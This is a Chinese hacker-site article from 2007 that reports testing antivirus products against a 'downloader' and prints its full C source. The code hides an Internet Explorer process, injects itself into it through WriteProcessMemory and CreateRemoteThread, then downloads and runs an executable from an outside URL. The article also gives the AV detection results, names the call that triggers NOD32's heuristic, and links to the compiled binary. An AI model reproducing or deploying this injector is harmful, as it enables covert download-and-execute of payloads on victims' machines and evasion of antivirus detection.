黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 安全应用 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[图文]对“启发式扫描”杀毒软件的一次测试分析报告
      ★★★★★

对“启发式扫描”杀毒软件的一次测试分析报告

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-4-21 9:15:52

在网上看到一个“插ie穿墙下载者”的代码,这段代码的作用是在后台运行一个ie浏览器进程,然后把一段下载执行的代码插入到ie进程中去运行,程序执行的结果是通过使用ie进程的通信,突破防火墙到一个网络上的主机上下载一个程序并在运行“下载者”程序的这台电脑上执行。于是我想到用一些杀毒软件来对个程序做一个查杀得测试。下面先来看看这段代码:

#include <windows.h>

#pragma comment(lib,"user32.lib")

#pragma comment(lib,"kernel32.lib")

//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释,可编译出2K大的文件

//#pragma comment(linker, "/merge:.data=.text")

//#pragma comment(linker, "/merge:.rdata=.text")

//#pragma comment(linker, "/align:0x200")

#pragma comment(linker, "/ENTRY:main")

#pragma comment(linker, "/subsystem:windows")

#pragma comment(linker, "/BASE:0x13150000")

HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数

DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数

HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行

HANDLE processhandle;

DWORD pid;

HINSTANCE hshell,hurlmon,hkernel;

void download() //注入使用的下载函数

{

 hshell=LoadLibrary("Shell32.dll");

 hurlmon=LoadLibrary("urlmon.dll");

 (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");

 (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");

 DOWNFILE(NULL,"http://www.163info.org/se.exe","c:\\ie.exe",0, NULL);

 SHELLRUN(0,"open","c:\\ie.exe",NULL,NULL,5);

 ExitProcess(0);

};

void main() //主函数

{

 //1.得到IE路径,并运行

 char iename[MAX_PATH],iepath[MAX_PATH];

 ZeroMemory(iename,sizeof(iename));

 ZeroMemory(iepath,sizeof(iepath));

 GetWindowsDirectory(iepath,MAX_PATH);

 strncpy(iename,iepath,3);

 strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");

 WinExec(iename,SW_HIDE);

 Sleep(500);

 //2.得到 IE process handle

 HWND htemp;

 htemp=FindWindow("IEFrame",NULL);

 GetWindowThreadProcessId(htemp,&pid);

 processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

 //3.分配内存

 HMODULE Module;

 LPVOID NewModule;

 DWORD Size;

 LPDWORD lpimagesize;

 Module = GetModuleHandle(NULL);//进程映像的基址

 //得到内存镜像大小

 _asm

 {

 push eax;

 push ebx;

 mov ebx,Module;

 mov eax,[ebx+0x3c];

 lea eax,[ebx+eax+0x50];

 mov eax,[eax]

 mov lpimagesize,eax;

 pop ebx;

 pop eax;

 };

 Size=(DWORD)lpimagesize;

 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置

 //4.写内存,创建线程

 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据

 LPTHREAD_START_ROUTINE entrypoint;

 __asm

 {

 push eax;

 lea eax,download;

 mov entrypoint,eax;

 pop eax

 }

 hkernel=LoadLibrary("KERNEL32.dll");

 (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");

 MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行

 //5.关闭对象

 CloseHandle(processhandle);

 return;

} ;

把上面这段代码编译成PE文件后用Mcafee、Symantec、卡巴、nod32等杀毒软件查杀的结果是:Kaspersky——no virus found、McAfee——no virus found、Symantec——no virus found、NOD32v2——probably unknown NewHeur_PE virus。在四款杀毒软件中只有nod32杀毒软件把“下载者”识别为可能性的PE病毒文件。

Nod32是依据什么来判断“下载者”有可能是病毒文件的呢?带着这个疑问,我对上面的“下载者”代码做了一个简单的分析。当我注释掉WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);这行代码后,nod32就没有再判断这个文件为病毒文件了。但“下载者”下载执行的功能也随之失效了。

通过上面的实验分析,大概可以看出nod32是依据程序调用了WriteProcessMemory这个函数,并且再结合一些程序的其他特征行为来判断“下载者”有可能是病毒文件的。至于nod32 得av工程师使了的什么样的病毒行为分析策略,在这里很难分析清楚,希望有对这方面有研究的博友共同探讨。

编译好的文件的下载地址:http://www40.websamba.com/pcsec%5Fbook/down2.exe

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886